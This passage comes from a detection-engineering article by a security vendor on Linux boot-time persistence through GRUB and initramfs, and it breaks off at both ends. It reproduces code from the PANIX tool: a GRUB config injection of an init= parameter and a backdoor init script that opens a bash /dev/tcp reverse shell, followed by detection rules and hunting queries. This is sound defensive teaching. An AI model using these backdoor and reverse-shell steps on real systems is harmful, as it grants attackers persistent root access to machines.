we\\u2019ll provide insights into these persistence mechanisms by showcasing:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"How each works (theory)\"}),`\n`,(0,i.jsx)(e.li,{children:\"How to set each up (practice)\"}),`\n`,(0,i.jsx)(e.li,{children:\"How to detect them (SIEM and Endpoint rules)\"}),`\n`,(0,i.jsx)(e.li,{children:\"How to hunt for them (ES|QL and OSQuery reference hunts)\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"To make the process even more engaging, we will be leveraging \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX\",rel:\"nofollow\",children:\"PANIX\"}),\", a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let\\u2019s dive in!\"}),`\n`,(0,i.jsx)(e.h1,{id:\"setup-note\",children:\"Setup note\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules\",rel:\"nofollow\",children:\"enable and update our pre-built detection rules\"}),\". If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1542---pre-os-boot-grub-bootloader\",children:\"T1542 - Pre-OS Boot: GRUB Bootloader\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://www.gnu.org/software/grub/manual/grub/grub.html\",rel:\"nofollow\",children:\"GRUB (GRand Unified Bootloader)\"}),\" is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware (\",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/BIOS\",rel:\"nofollow\",children:\"BIOS\"}),\"/\",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/UEFI\",rel:\"nofollow\",children:\"UEFI\"}),\") and the operating system. When a Linux system is powered on, the following sequence typically occurs:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.h3,{id:\"system-firmware\",children:(0,i.jsx)(e.strong,{children:\"System Firmware\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test).\"}),`\n`,(0,i.jsx)(e.li,{children:\"It then locates the bootloader on the designated boot device (usually based on boot priority settings).\"}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.h3,{id:\"grub-bootloader\",children:(0,i.jsx)(e.strong,{children:\"GRUB Bootloader\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"GRUB is loaded into memory.\"}),`\n`,(0,i.jsx)(e.li,{children:\"It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"GRUB loads the kernel image (\",(0,i.jsx)(e.code,{children:\"vmlinuz\"}),\") into memory, as well as the initramfs/initrd image (\",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\"), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware).\"]}),`\n`,(0,i.jsx)(e.li,{children:\"GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.h3,{id:\"kernel-execution\",children:(0,i.jsx)(e.strong,{children:\"Kernel Execution\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"The kernel is unpacked and initialized. It begins detecting and initializing system hardware.\"}),`\n`,(0,i.jsx)(e.li,{children:\"The kernel mounts the root filesystem specified in the kernel parameters.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"It starts the init system (traditionally \",(0,i.jsx)(e.code,{children:\"init\"}),\", now often \",(0,i.jsx)(e.code,{children:\"systemd\"}),\"), which is the first process (\",(0,i.jsx)(e.code,{children:\"PID 1\"}),\") that initializes and manages the user space.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The \",(0,i.jsx)(e.code,{children:\"init\"}),\" system sets up services, mounts filesystems, and spawns user sessions.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"GRUB\\u2019s configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use \",(0,i.jsx)(e.code,{children:\"/etc/default/grub\"}),\" as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`GRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu\nGRUB_DEFAULT=0 # Default menu entry to boot\nGRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash resume=/dev/sda2\" # Common kernel parameters\nGRUB_CMDLINE_LINUX=\"init=/bin/bash audit=1\" # Additional kernel parameters\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in \",(0,i.jsx)(e.code,{children:\"/etc/default/grub.d/\"}),\" (Ubuntu/Debian) and \",(0,i.jsx)(e.code,{children:\"/etc/grub.d/\"}),\" (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Prior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in \",(0,i.jsx)(e.code,{children:\"/etc/default/grub\"}),\" and the modular scripts in \",(0,i.jsx)(e.code,{children:\"/etc/grub.d/\"}),\" (or similar directories and files for other distributions). This configuration is then stored in \",(0,i.jsx)(e.code,{children:\"/boot/grub/grub.cfg\"}),\" for BIOS systems, and \",(0,i.jsx)(e.code,{children:\"/boot/efi/EFI/\u003cdistro\u003e/grub.cfg\"}),\" for UEFI systems.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"On Ubuntu and Debian-based systems, the \",(0,i.jsx)(e.code,{children:\"update-grub\"}),\" command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is \",(0,i.jsx)(e.code,{children:\"grub2-mkconfig\"}),\". Upon generation of the configuration, the following events occur:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Scripts Execution\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"All modular scripts in \",(0,i.jsx)(e.code,{children:\"/etc/default/grub.d/\"}),\" or \",(0,i.jsx)(e.code,{children:\"/etc/grub.d/\"}),\" are executed in numerical order.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Settings Aggregation\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Parameters from \",(0,i.jsx)(e.code,{children:\"/etc/default/grub\"}),\" and modular scripts are merged.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Menu Entries Creation\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"4\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Final Compilation\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"The combined configuration is written to \",(0,i.jsx)(e.code,{children:\"/boot/grub/grub.cfg\"}),\" (or the UEFI equivalent path), ready to be used at the next boot.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Attackers can exploit GRUB\\u2019s flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Inject Malicious Kernel Parameters\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Adding parameters like \",(0,i.jsx)(e.code,{children:\"init=/payload.sh\"}),\" in \",(0,i.jsx)(e.code,{children:\"/etc/default/grub\"}),\" or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default \",(0,i.jsx)(e.code,{children:\"init\"}),\" system.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Modify Menu Entries\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Attackers can alter menu entries in \",(0,i.jsx)(e.code,{children:\"/etc/grub.d/\"}),\" to include unauthorized commands or point to malicious kernels.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Create Hidden Boot Entries\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"As GRUB operates before the system\\u2019s typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"GRUB manipulation falls under \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1542/\",rel:\"nofollow\",children:\"T1542: Pre-OS Boot\"}),\" in the MITRE ATT\u0026CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In the next section, we\\u2019ll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1542---pre-os-boot-grub-bootloader\",children:\"Persistence through T1542 - Pre-OS Boot: GRUB Bootloader\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_grub.sh\",rel:\"nofollow\",children:\"setup_grub.sh\"}),\" module from \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX\",rel:\"nofollow\",children:\"PANIX\"}),\", a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (\",(0,i.jsx)(e.code,{children:\"cfg\"}),\") file containing the \",(0,i.jsx)(e.code,{children:\"init=/grub-panix.sh\"}),\" parameter. GRUB configuration files are loaded in ascending order, based on the modules\\u2019 numeric prefix. To ensure the injected module is loaded last, the priority is set to 99.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`local grub_custom_dir=\"/etc/default/grub.d\"\nlocal grub_custom_file=\"\\${grub_custom_dir}/99-panix.cfg\"\n\necho \"[*] Creating custom GRUB configuration file: $grub_custom_file\"\ncat \u003c\u003cEOF \u003e \"$grub_custom_file\"\n# Panix GRUB persistence configuration\nGRUB_CMDLINE_LINUX_DEFAULT=\"$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh\"\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After this configuration file is in place, the \",(0,i.jsx)(e.code,{children:\"/grub-panix.sh\"}),\" script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`payload=\"( sleep 10; nohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/\\${ip}/\\${port} 0\u003e\u00261' \u0026 disown ) \u0026\"\n\nlocal init_script=\"/grub-panix.sh\"\necho \"[*] Creating backdoor init script at: $init_script\"\ncat \u003c\u003cEOF \u003e \"$init_script\"\n#!/bin/bash\n# Panix GRUB Persistence Backdoor (Ubuntu/Debian)\n(\n\techo \"[*] Panix backdoor payload will execute after 10 seconds delay.\"\n\t\\${payload}\n\techo \"[+] Panix payload executed.\"\n) \u0026\nexec /sbin/init\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running \",(0,i.jsx)(e.code,{children:\"update-grub\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014\n[*] Creating backdoor init script at: /grub-panix.sh\n[+] Backdoor init script created and made executable.\n[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg\n[+] Custom GRUB configuration file created.\n[*] Backing up /etc/default/grub to /etc/default/grub.bak...\n[+] Backup created at /etc/default/grub.bak\n[*] Running 'update-grub' to apply changes...\nSourcing file \\`/etc/default/grub'\nSourcing file \\`/etc/default/grub.d/99-panix.cfg'\nSourcing file \\`/etc/default/grub.d/init-select.cfg'\nGenerating grub configuration file ...\n[+] GRUB configuration updated. Reboot to activate the payload.\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Upon execution of the module, and rebooting the machine, the following documents can be observed in Kibana:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image3.png\",alt:\"PANIX GRUB module execution visualized in Kibana\",width:\"1353\",height:\"1231\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon execution of PANIX, we can see a backup of \",(0,i.jsx)(e.code,{children:\"/etc/default/grub\"}),\", a new modular grub configuration, \",(0,i.jsx)(e.code,{children:\"/etc/default/grub.d/99-panix.cfg\"}),\", and the backdoor payload (\",(0,i.jsx)(e.code,{children:\"/grub-panix.sh\"}),\") being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the \",(0,i.jsx)(e.code,{children:\"update-grub\"}),\" executable, and the backdoor is now ready. Upon reboot, \",(0,i.jsx)(e.code,{children:\"/grub-panix.sh\"}),\" is executed by \",(0,i.jsx)(e.code,{children:\"init\"}),\", which is \",(0,i.jsx)(e.code,{children:\"systemd\"}),\" for most modern operating systems, successfully executing the reverse shell chain of \",(0,i.jsx)(e.code,{children:\"/grub-panix.sh\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"bash\"}),\". The reason its \",(0,i.jsx)(e.code,{children:\"event.action\"}),\" value is \",(0,i.jsx)(e.code,{children:\"already-running\"}),\", is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this \",(0,i.jsx)(e.code,{children:\"event.action\"}),\", allowing us to still detect the activity.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at the coverage:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover GRUB bootloader persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_configuration_creation.toml\",rel:\"nofollow\",children:\"GRUB Configuration File Creation\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_makeconfig.toml\",rel:\"nofollow\",children:\"GRUB Configuration Generation through Built-in Utilities\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml\",rel:\"nofollow\",children:\"Boot File Copy\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_systemd_shell_execution.toml\",rel:\"nofollow\",children:\"Systemd Shell Execution During Boot\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"You can revert the changes made by PANIX by running the following revert command:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert grub\n\n[*] Reverting GRUB persistence modifications...\n[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...\n[+] /etc/default/grub restored.\n[*] Removing /etc/default/grub.d/99-panix.cfg...\n[+] /etc/default/grub.d/99-panix.cfg removed.\n[*] /grub-panix.sh not found; nothing to remove.\n[*] Updating GRUB configuration...\n[...]\n[+] GRUB configuration updated.\n[+] GRUB persistence reverted successfully.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1542---pre-os-boot-grub-bootloader\",children:\"Hunting for T1542 - Pre-OS Boot: GRUB Bootloader\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the \\u201C\",(0,i.jsx)(e.em,{children:\"Hunting for T1053 - scheduled task/job\"}),\"\\u201D section of \\u201C\",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Linux Detection Engineering - A primer on persistence mechanisms\"})}),\"\\u201D. Additionally, descriptions and references can be found in our \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"Detection Rules repository\"}),\", specifically in the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/hunting\",rel:\"nofollow\",children:\"Linux hunting subdirectory\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"We can hunt for GRUB bootloader persistence through \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/osquery.html\",rel:\"nofollow\",children:\"OSQuery\"}),\", focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or modifications to GRUB configuration files\"}),\": Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Execution of GRUB-related commands\"}),\": Monitors for commands like \",(0,i.jsx)(e.code,{children:\"grub-mkconfig\"}),\", \",(0,i.jsx)(e.code,{children:\"grub2-mkconfig\"}),\", and \",(0,i.jsx)(e.code,{children:\"update-grub\"}),\", which may indicate attempts to modify GRUB settings or regenerate boot configurations.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Metadata analysis of GRUB files\"}),\": Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Kernel and Boot Integrity Monitoring\"}),\": Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as \",(0,i.jsx)(e.code,{children:\"secureboot\"}),\", \",(0,i.jsx)(e.code,{children:\"platform_info\"}),\", \",(0,i.jsx)(e.code,{children:\"kernel_info\"}),\", and \",(0,i.jsx)(e.code,{children:\"kernel_keys\"}),\", providing insights into the system\\u2019s boot integrity and kernel configurations.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_grub_bootloader.toml\",rel:\"nofollow\",children:\"Persistence via GRUB Bootloader\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml\",rel:\"nofollow\",children:\"General Kernel Manipulation\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1542/\",rel:\"nofollow\",children:\"T1542\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1542--pre-os-boot-initramfs\",children:\"T1542- Pre-OS Boot: Initramfs\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://wiki.debian.org/initramfs\",rel:\"nofollow\",children:\"Initramfs (Initial RAM Filesystem)\"}),\" is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (\",(0,i.jsx)(e.code,{children:\"vmlinuz\"}),\") and the initramfs image (\",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\"). The \",(0,i.jsx)(e.code,{children:\"initrd.img\"}),\" is a compressed filesystem, typically stored in \",(0,i.jsx)(e.code,{children:\"/boot/\"}),\", containing essential drivers, binaries (e.g. \",(0,i.jsx)(e.code,{children:\"busybox\"}),\"), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like \",(0,i.jsx)(e.code,{children:\"/bin\"}),\", \",(0,i.jsx)(e.code,{children:\"/lib\"}),\", and \",(0,i.jsx)(e.code,{children:\"/etc\"}),\". Once the real root filesystem is mounted, control passes to the primary \",(0,i.jsx)(e.code,{children:\"init\"}),\" system (e.g., \",(0,i.jsx)(e.code,{children:\"systemd\"}),\"), and the initramfs is discarded.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Initramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The \",(0,i.jsx)(e.code,{children:\"/boot/\"}),\" directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"vmlinuz-\u003cversion\u003e\"}),\": A compressed Linux kernel binary.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"vmlinuz\"}),\": A symbolic link to the compressed Linux kernel binary.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"initrd.img-\u003cversion\u003e\"}),\" or \",(0,i.jsx)(e.strong,{children:\"initramfs.img-\u003cversion\u003e\"}),\": The initramfs image containing the temporary filesystem.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"initrd.img\"}),\" or \",(0,i.jsx)(e.strong,{children:\"initramfs.img\"}),\": A symbolic link to the initramfs image.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"config-\u003cversion\u003e\"}),\": Configuration options for the specific kernel version.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"System.map-\u003cversion\u003e\"}),\": Kernel symbol map used for debugging.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"grub/\"}),\": Bootloader configuration files.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Similar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents\\u2014such as adding malicious scripts or altering initialization logic\\u2014enables execution of malicious code before the system fully initializes.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"While there is currently no specific subsection for initramfs, modification of the boot process falls under \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1542/\",rel:\"nofollow\",children:\"T1542\"}),\", \",(0,i.jsx)(e.em,{children:\"Pre-OS Boot\"}),\" in the MITRE ATT\u0026CK framework.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"t1542---initramfs-manual-modifications\",children:\"T1542 - Initramfs: Manual Modifications\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Modifying initramfs to establish persistence is a technique discussed in the \\u201C\",(0,i.jsx)(e.a,{href:\"https://breachlabs.io/initramfs-persistence-technique\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Initramfs Persistence Technique\"})}),\"\\u201D blog published on \",(0,i.jsx)(e.a,{href:\"https://breachlabs.io/\",rel:\"nofollow\",children:\"Breachlabs.io\"}),\". At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"An example technique involves adding code to the \",(0,i.jsx)(e.code,{children:\"init\"}),\" script to manipulate the host filesystem\\u2014such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"While there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as \",(0,i.jsx)(e.a,{href:\"https://github.com/ReFirmLabs/binwalk\",rel:\"nofollow\",children:\"binwalk\"}),\". \",(0,i.jsx)(e.code,{children:\"Binwalk\"}),\" is particularly useful for analyzing and extracting compressed archives, making it a good choice for inspecting and deconstructing the initramfs image.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In the following section, we\\u2019ll provide a detailed explanation of the manual initramfs modification process.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1542---initramfs-manual-modifications\",children:\"Persistence through T1542 - Initramfs: Manual 